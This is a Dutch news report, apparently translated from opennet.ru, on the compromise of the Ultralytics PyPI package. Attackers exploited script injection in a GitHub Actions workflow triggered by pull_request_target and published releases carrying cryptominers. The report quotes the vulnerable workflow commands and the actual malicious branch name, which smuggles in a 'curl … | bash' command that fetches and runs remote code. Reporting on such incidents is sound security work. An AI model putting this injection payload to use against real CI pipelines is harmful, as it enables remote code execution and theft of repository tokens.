Een fout in de GitHub Actions-handler leidde tot de publicatie van kwaadaardige releases van Ultralytics

Kwaadwillenden wisten code uit te voeren met de rechten van de GitHub Actions-handler in de repository van de Python-bibliotheek Ultralytics, die wordt gebruikt voor computer vision-taken, zoals objectdetectie op afbeeldingen en afbeeldingsegmentatie. Na toegang tot de repository publiceerden de aanvallers verschillende nieuwe releases van Ultralytics in de PyPI-catalogus, met kwaadaardige wijzigingen voor cryptomining. In de afgelopen maand is de Ultralytics-bibliotheek meer dan 6,4 miljoen keer gedownload uit de PyPI-catalogus.

Om de repository te compromitteren werd een kwetsbaarheid in het ultralytics-actions-pakket benut, dat wordt gebruikt voor het automatisch starten van handlers bij specifieke acties in de repository op GitHub, met behulp van de GitHub Actions-mechanisme. In het ultralytics-project werd de kwetsbare handler gekoppeld aan het pull_request_target-evenement en werd deze geactiveerd bij het indienen van nieuwe pull-requests. In het bijzonder werd de handler format.yml aangeroepen voor het formatteren van de code in de ontvangen pull-requests en werd de code uitgevoerd die was gespecificeerd in de 'run'-sectie van het action.yml-bestand, waarin shell-commando's met substitutiewaarden aanwezig waren: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"

Op deze manier werd de naam van de Git-branch, genoemd in de pull-request, zonder de juiste escaping in de shell-commando's ingevoegd. Het is opmerkelijk dat in augustus al een soortgelijke kwetsbaarheid in het ultralytics-actions-pakket was verholpen, die verband hield met het gebruik van een externe waarde in de echo-functie: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Om hun eigen code in de context van de GitHub Actions-handler uit te voeren, stuurden de aanvallers een pull-request naar de ultralytics-repository, waarbij ze de naam van de branch opgegeven: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Bij het indienen van de pull-request werd de door de aanvallers opgegeven string "$(…)" in de code ingevoegd, wat bij de daaropvolgende uitvoering van de handler leidde tot de uitvoering van de code "curl -sSfL raw.githubusercontent.com/…/file.sh | bash".

Een fout in de GitHub Actions-handler leidde tot de publicatie van kwaadaardige releases van Ultralytics

Het uitvoeren van code in de context van GitHub Actions kan worden gebruikt om toegangstokens voor de repository en andere vertrouwelijke gegevens vast te leggen. Hoe aanvallers precies in staat waren om een release te genereren en hun code in GitHub Actions uit te voeren, is nog niet helemaal duidelijk. Verondersteld wordt dat dit mogelijk werd door het aanpassen van de publish.yml handler (de aanvallers verwijderden de controle op het account dat toestemming had om releases op PyPI te publiceren) en het gebruik van technieken voor het vervuilen van de build-cache van GitHub Actions om hun gegevens in de release te injecteren.

De eerste kwaadaardige release van Ultralytics 8.3.41 werd door de aanvallers gepubliceerd in de PyPI-directory op 4 december om 23:51 (MSK) en werd de volgende dag om 12:15 verwijderd. Om 15:47 werd een andere release 8.3.42 geplaatst, die om 16:47 werd verwijderd. Dus waren de kwaadaardige versies in totaal ongeveer 13 uur beschikbaar voor download (op een dag worden er ongeveer 250.000 downloads van de ultralytics-bibliotheek geregistreerd in PyPI). In de releases 8.3.41 en 8.3.42 zaten ook code die downloads vanaf externe de server component XMRig voor het mijnen van cryptocurrency.

De ontwikkelaars van het project hebben het probleem verholpen en hebben corrigerende releases 8.3.43 en 8.3.44 gemaakt, maar na twee dagen vond er weer een aanval plaats, waarbij de aanvallers vandaag om 04:41 en 05:27 (MSK) twee aanvullende kwaadaardige releases — 8.3.45 en 8.3.46 — publiceerden, die andere code voor het mijnen bevatten. Totdat het onderzoek is afgerond, wordt gebruikers aangeraden om te wachten met het installeren van nieuwe versies en de release 8.3.44 in de afhankelijkheden vast te leggen.

Bron: opennet.ru

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster